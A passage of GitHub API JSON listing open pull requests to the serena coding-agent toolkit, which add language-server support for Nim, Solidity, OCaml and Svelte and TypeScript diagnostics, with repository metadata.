          "href": "https://api.github.com/repos/oraios/serena/statuses/25b0a0b110013a75d10e030ff54be43610a4b248"
        }
      },
      "author_association": "CONTRIBUTOR",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/658",
      "id": 2895433907,
      "node_id": "PR_kwDOONgOes6slNCz",
      "number": 658,
      "state": "open",
      "locked": false,
      "title": "Add Nim-lang support via nim-langserver",
      "user": {
        "login": "a5m0",
        "id": 4998266,
        "node_id": "MDQ6VXNlcjQ5OTgyNjY=",
        "avatar_url": "https://avatars.githubusercontent.com/u/4998266?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/a5m0",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "## Summary\r\n\r\n- Implement a `NimLanguageServer` class that handles downloading/installing `nimlangserver`, sets up environment variables, writes auxiliary Nim/nimsuggest config files, and improves logging/readiness checks so the process starts reliably.\r\n- Wire the new server into Serena’s language registry and document official Nim support in the README and changelog.\r\n- Provide pytest coverage plus a sample Nim project that exercises symbols, definitions, references, and completions, along with a dedicated nim pytest marker.\r\n\r\n## Testing\r\n\r\n- `uv run pytest -m nim` (passes locally)",
      "created_at": "2025-10-07T21:40:12Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": true,
      "head": {
        "label": "a5m0:feature/nim-langserver",
        "ref": "feature/nim-langserver",
        "sha": "4cb1d9489ae2e7a5bafbee949e05e9708839a47a",
        "user": {
          "login": "a5m0",
          "id": 4998266,
          "node_id": "MDQ6VXNlcjQ5OTgyNjY=",
          "avatar_url": "https://avatars.githubusercontent.com/u/4998266?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/a5m0",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1059748433,
          "node_id": "R_kgDOPyp6UQ",
          "name": "serena",
          "full_name": "a5m0/serena",
          "private": false,
          "owner": {
            "login": "a5m0",
            "id": 4998266,
            "node_id": "MDQ6VXNlcjQ5OTgyNjY=",
            "avatar_url": "https://avatars.githubusercontent.com/u/4998266?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/a5m0",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/a5m0/serena",
          "created_at": "2025-09-18T22:19:11Z",
          "updated_at": "2025-10-08T21:27:16Z",
          "pushed_at": "2025-10-08T21:27:11Z",
          "homepage": "",
          "size": 4107,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": "Python",
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "feature/nim-langserver"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/658"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/658"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/658"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/658/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/658/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/658/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/4cb1d9489ae2e7a5bafbee949e05e9708839a47a"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/601",
      "id": 2797894859,
      "node_id": "PR_kwDOONgOes6mxHzL",
      "number": 601,
      "state": "open",
      "locked": false,
      "title": "Added a solidity language server",
      "user": {
        "login": "SaurabhLingam",
        "id": 141753821,
        "node_id": "U_kgDOCHL93Q",
        "avatar_url": "https://avatars.githubusercontent.com/u/141753821?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/SaurabhLingam",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "## Summary\r\nThis PR implements comprehensive Solidity programming language support for Serena, enabling the coding agent toolkit to assist with Ethereum smart contract development. This addresses the significant gap in Web3/blockchain language support identified in issue #592.\r\n\r\n## Changes Made\r\n\r\n### Core Implementation\r\n- **Added `SolidityLanguageServer` class** in `language_servers/solidity_language_server.py`\r\n  - Integrates with `@nomicfoundation/solidity-language-server`\r\n  - Includes Solidity-specific error handling and dependency checks\r\n  - Handles common Solidity project directory structures (Hardhat, Foundry, Truffle)\r\n\r\n- **Extended Language enum** in `ls_config.py`\r\n  - Added `SOLIDITY = \"solidity\"` language type\r\n  - Implemented `.sol` file pattern matching in `get_source_fn_matcher()`\r\n\r\n- **Registered language server** in main `ls.py` file\r\n  - Added conditional instantiation for `Language.SOLIDITY`\r\n  - Follows existing patterns for consistency\r\n\r\n### Features Implemented\r\n- [x] **File Recognition**: Automatically detects `.sol` Solidity files  \r\n- [x] **Language Server Protocol**: Full LSP integration with hover, completion, diagnostics  \r\n- [x] **Compiler Integration**: Works with `solc` compiler and `solc-select`  \r\n- [x] **Framework Support**: Compatible with Hardhat, Foundry, Truffle projects  \r\n- [x] **Smart Directory Exclusions**: Ignores `node_modules`, `artifacts`, `cache`, `typechain`, etc.  \r\n- [x] **Cross-file References**: Supports import resolution and contract inheritance  \r\n\r\n## Dependencies Required\r\nSolidity Language Server\r\nnpm install -g @nomicfoundation/solidity-language-server\r\n\r\nSolidity Compiler Manager\r\npip3 install solc-select\r\nsolc-select install latest\r\nsolc-select use latest\r\n\r\ntext\r\n\r\n## Testing\r\n- Core implementation verified through file structure validation\r\n- Import resolution tested successfully\r\n- Integration follows established patterns from other language servers\r\n- Compatible with existing Serena architecture\r\n\r\n## Impact\r\nThis implementation enables Serena to support the **~24k monthly active Solidity developers** and **200k+ total Solidity developers** mentioned in the original issue. It positions Serena as a comprehensive coding agent toolkit that can assist with:\r\n\r\n- Smart contract development and debugging\r\n- DeFi protocol implementation  \r\n- NFT contract creation\r\n- Web3 application backend development\r\n- Blockchain security analysis\r\n\r\n## Notes\r\n- Implementation follows existing Serena patterns for consistency\r\n- Uses official Nomic Foundation language server for reliability\r\n- Maintains compatibility with all major Solidity development frameworks\r\n- Ready for production use\r\n\r\n---\r\n**This PR makes Serena blockchain-ready!**",
      "created_at": "2025-09-04T03:48:15Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "SaurabhLingam:test-branch",
        "ref": "test-branch",
        "sha": "3ab94677989c45c6d1df085141f531a0f63f6354",
        "user": {
          "login": "SaurabhLingam",
          "id": 141753821,
          "node_id": "U_kgDOCHL93Q",
          "avatar_url": "https://avatars.githubusercontent.com/u/141753821?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/SaurabhLingam",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1050167339,
          "node_id": "R_kgDOPphIKw",
          "name": "serena",
          "full_name": "SaurabhLingam/serena",
          "private": false,
          "owner": {
            "login": "SaurabhLingam",
            "id": 141753821,
            "node_id": "U_kgDOCHL93Q",
            "avatar_url": "https://avatars.githubusercontent.com/u/141753821?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/SaurabhLingam",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": true,
          "url": "https://api.github.com/repos/SaurabhLingam/serena",
          "created_at": "2025-09-04T03:41:43Z",
          "updated_at": "2025-09-04T03:41:43Z",
          "pushed_at": "2025-09-05T04:38:15Z",
          "homepage": "",
          "size": 3617,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/601"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/601"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/601"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/601/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/601/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/601/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/3ab94677989c45c6d1df085141f531a0f63f6354"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": [
        5
      ]
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/598",
      "id": 2796447625,
      "node_id": "PR_kwDOONgOes6mrmeJ",
      "number": 598,
      "state": "open",
      "locked": false,
      "title": "show diagnostic info when writng ts/js files",
      "user": {
        "login": "kolodny",
        "id": 1187604,
        "node_id": "MDQ6VXNlcjExODc2MDQ=",
        "avatar_url": "https://avatars.githubusercontent.com/u/1187604?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/kolodny",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "This PR enables serena to report any syntax or linting error when modifying a TS or JS file",
      "created_at": "2025-09-03T16:01:50Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "kolodny:show-ts-diagnostics",
        "ref": "show-ts-diagnostics",
        "sha": "a62c6ee3de10c87e1e0abfae69d4a7ad71146014",
        "user": {
          "login": "kolodny",
          "id": 1187604,
          "node_id": "MDQ6VXNlcjExODc2MDQ=",
          "avatar_url": "https://avatars.githubusercontent.com/u/1187604?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/kolodny",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1049865665,
          "node_id": "R_kgDOPpOtwQ",
          "name": "serena",
          "full_name": "kolodny/serena",
          "private": false,
          "owner": {
            "login": "kolodny",
            "id": 1187604,
            "node_id": "MDQ6VXNlcjExODc2MDQ=",
            "avatar_url": "https://avatars.githubusercontent.com/u/1187604?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/kolodny",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & Agno integration)",
          "fork": true,
          "url": "https://api.github.com/repos/kolodny/serena",
          "created_at": "2025-09-03T15:53:59Z",
          "updated_at": "2025-09-03T15:53:59Z",
          "pushed_at": "2025-09-03T18:39:43Z",
          "homepage": "",
          "size": 3342,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 0,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 0,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/598"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/598"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/598"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/598/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/598/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/598/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/a62c6ee3de10c87e1e0abfae69d4a7ad71146014"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/573",
      "id": 2782267822,
      "node_id": "PR_kwDOONgOes6l1gmu",
      "number": 573,
      "state": "open",
      "locked": false,
      "title": "feat: Add comprehensive OCaml language support with ocaml-lsp-server integration",
      "user": {
        "login": "johnhaley81",
        "id": 867780,
        "node_id": "MDQ6VXNlcjg2Nzc4MA==",
        "avatar_url": "https://avatars.githubusercontent.com/u/867780?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/johnhaley81",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "This PR adds full OCaml language support to Serena through integration with the `ocaml-lsp-server`, following the established solidlsp architecture pattern.\n\n### **Changes Made:**\n\n#### **Core Language Server Integration**\n- **New OCamlLspServer class** (`src/solidlsp/language_servers/ocaml_lsp_server/ocaml_lsp_server.py`):\n  - Implements solidlsp interface for ocaml-lsp-server\n  - Handles OCaml-specific initialization parameters and capabilities\n  - Manages Dune build system integration and workspace detection\n  - Includes proper error handling and logging\n\n#### **Runtime Dependencies Management**\n- **Automatic dependency resolution** for ocaml-lsp-server installation\n- **Runtime dependencies configuration** specifying required OCaml toolchain versions\n- **Cross-platform support** for different OCaml installation methods\n\n#### **Language Support Registration**\n- Added `OCaml` to the Language enum in `ls_config.py`\n- Integrated OCaml support into the language server factory in `ls.py` \n- Added `ocaml` pytest marker to `pyproject.toml` for targeted testing\n\n#### **Comprehensive Test Infrastructure**\n- **Realistic test repository** (`test/resources/repos/ocaml/test_repo/`):\n  - Complete Dune project structure with `dune-project`, `.opam` files\n  - Library module with interface file (`.mli`) demonstrating OCaml conventions\n  - Executable binary and test suite following OCaml best practices\n  - Proper module dependencies and build configuration\n\n- **Test suite** (`test/solidlsp/ocaml/test_ocaml_basic.py`):\n  - Symbol discovery and navigation tests\n  - Reference finding across modules and interfaces  \n  - Integration testing with Dune build system\n  - Validation of LSP capabilities specific to OCaml\n\n#### **Build System Integration**\n- **Dune project support** with proper workspace detection\n- **OPAM package management** integration for dependency resolution\n- **Interface file (.mli) handling** for OCaml's module system\n\n### **Technical Implementation Details:**\n\n- Follows established solidlsp patterns for consistency with existing language servers\n- Implements OCaml-specific LSP initialization parameters for optimal language server performance\n- Handles OCaml's unique module system with proper interface file support\n- Integrates with Dune's workspace model for accurate project boundary detection\n\n### **Testing Strategy:**\n\n- Language-specific test suite using `ocaml` pytest marker\n- Realistic OCaml project structure for integration testing\n- Validation of core LSP operations (symbols, references, definitions)\n- Build system integration testing with Dune\n\nThis addition brings Serena's OCaml support to the same level as other supported languages, enabling full semantic code analysis and manipulation for OCaml codebases.",
      "created_at": "2025-08-28T15:59:49Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": "eb7e666e18181c962db9be30ca7038dc80541dce",
      "assignee": null,
      "assignees": {},
      "requested_reviewers": {},
      "requested_teams": {},
      "labels": {},
      "milestone": null,
      "draft": false,
      "head": {
        "label": "johnhaley81:ocaml-support",
        "ref": "ocaml-support",
        "sha": "312008e39a724f7049511e90def3f8b91478f172",
        "user": {
          "login": "johnhaley81",
          "id": 867780,
          "node_id": "MDQ6VXNlcjg2Nzc4MA==",
          "avatar_url": "https://avatars.githubusercontent.com/u/867780?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/johnhaley81",
          "type": "User",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 1045711437,
          "node_id": "R_kgDOPlRKTQ",
          "name": "serena",
          "full_name": "johnhaley81/serena",
          "private": false,
          "owner": {
            "login": "johnhaley81",
            "id": 867780,
            "node_id": "MDQ6VXNlcjg2Nzc4MA==",
            "avatar_url": "https://avatars.githubusercontent.com/u/867780?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/johnhaley81",
            "type": "User",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & Agno integration)",
          "fork": true,
          "url": "https://api.github.com/repos/johnhaley81/serena",
          "created_at": "2025-08-27T15:45:48Z",
          "updated_at": "2025-08-27T15:45:48Z",
          "pushed_at": "2026-01-13T05:38:17Z",
          "homepage": "",
          "size": 4849,
          "stargazers_count": 0,
          "watchers_count": 0,
          "language": null,
          "has_issues": false,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": false,
          "has_discussions": false,
          "forks_count": 0,
          "archived": false,
          "disabled": false,
          "open_issues_count": 1,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {},
          "visibility": "public",
          "forks": 0,
          "open_issues": 1,
          "watchers": 0,
          "default_branch": "main"
        }
      },
      "base": {
        "label": "oraios:main",
        "ref": "main",
        "sha": "1d766bea2afe3fcd7cc5083400b104c7bf3df8c7",
        "user": {
          "login": "oraios",
          "id": 181485370,
          "node_id": "O_kgDOCtE_Og",
          "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
          "gravatar_id": "",
          "url": "https://api.github.com/users/oraios",
          "type": "Organization",
          "user_view_type": "public",
          "site_admin": false
        },
        "repo": {
          "id": 953683578,
          "node_id": "R_kgDOONgOeg",
          "name": "serena",
          "full_name": "oraios/serena",
          "private": false,
          "owner": {
            "login": "oraios",
            "id": 181485370,
            "node_id": "O_kgDOCtE_Og",
            "avatar_url": "https://avatars.githubusercontent.com/u/181485370?v=4",
            "gravatar_id": "",
            "url": "https://api.github.com/users/oraios",
            "type": "Organization",
            "user_view_type": "public",
            "site_admin": false
          },
          "description": "A powerful coding agent toolkit providing semantic retrieval and editing capabilities (MCP server & other integrations)",
          "fork": false,
          "url": "https://api.github.com/repos/oraios/serena",
          "created_at": "2025-03-23T22:35:24Z",
          "updated_at": "2026-02-15T01:14:52Z",
          "pushed_at": "2026-02-14T23:58:04Z",
          "homepage": "https://oraios.github.io/serena",
          "size": 6236,
          "stargazers_count": 20225,
          "watchers_count": 20225,
          "language": "Python",
          "has_issues": true,
          "has_projects": true,
          "has_downloads": true,
          "has_wiki": false,
          "has_pages": true,
          "has_discussions": true,
          "forks_count": 1361,
          "archived": false,
          "disabled": false,
          "open_issues_count": 75,
          "license": {
            "key": "mit",
            "name": "MIT License",
            "spdx_id": "MIT",
            "url": "https://api.github.com/licenses/mit",
            "node_id": "MDc6TGljZW5zZTEz"
          },
          "allow_forking": true,
          "is_template": false,
          "web_commit_signoff_required": false,
          "has_pull_requests": true,
          "pull_request_creation_policy": "all",
          "topics": {
            "0": "agent",
            "1": "ai",
            "2": "ai-coding",
            "3": "claude",
            "4": "claude-code",
            "5": "language-server",
            "6": "llms",
            "7": "mcp-server",
            "8": "programming",
            "9": "vibe-coding"
          },
          "visibility": "public",
          "forks": 1361,
          "open_issues": 75,
          "watchers": 20225,
          "default_branch": "main"
        }
      },
      "_links": {
        "self": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/573"
        },
        "html": {
          "href": "https://github.com/oraios/serena/pull/573"
        },
        "issue": {
          "href": "https://api.github.com/repos/oraios/serena/issues/573"
        },
        "comments": {
          "href": "https://api.github.com/repos/oraios/serena/issues/573/comments"
        },
        "review_comments": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/573/comments"
        },
        "review_comment": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/comments{/number}"
        },
        "commits": {
          "href": "https://api.github.com/repos/oraios/serena/pulls/573/commits"
        },
        "statuses": {
          "href": "https://api.github.com/repos/oraios/serena/statuses/312008e39a724f7049511e90def3f8b91478f172"
        }
      },
      "author_association": "NONE",
      "auto_merge": null,
      "active_lock_reason": null,
      "linked_issues": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/pulls/504",
      "id": 2758756401,
      "node_id": "PR_kwDOONgOes6kb0gx",
      "number": 504,
      "state": "open",
      "locked": false,
      "title": "Add Svelte language server support with TypeScript integration",
      "user": {
        "login": "datstarkey",
        "id": 35140564,
        "node_id": "MDQ6VXNlcjM1MTQwNTY0",
        "avatar_url": "https://avatars.githubusercontent.com/u/35140564?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/datstarkey",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "body": "Strongly based on: https://github.com/oraios/serena/pull/339\r\n\r\nI had the idea of merging the svelte lsp and ts lsp as a proxy a long time ago for use for llm diagnostic checking , but never finsihed the project.\r\n\r\nBased on the abandonment of the previous pull request, I finished up the project and published it to npm. The full repo is available there has has more extensive tests:\r\nhttps://github.com/datstarkey/svelte-proxy-lsp\r\n\r\n\r\n- Add SvelteLanguageServer implementation using svelte-proxy-lsp\r\n- Support for .svelte, .ts, .js, .tsx, .jsx files and SvelteKit variants\r\n- Multi-project detection based on tsconfig.json files\r\n- Automatic installation via npx\r\n- Comprehensive test suite and example project\r\n\r\n\r\nI've done some basic tests and checs with my projects and it seems to be working, additonal support or guidane would be appreciated on anything wrong! still pretty new with lsp's, but it looks like its working. I have used it as a npx request, as I ran into issues installing it.",
      "created_at": "2025-08-20T07:43:30Z",
      "updated_at": "2026-01-21T11:43:01Z",
      "closed_at": null,
      "merged_at": null,
      "merge_commit_sha": null,
      "assignee": null,
      "assignees": {},
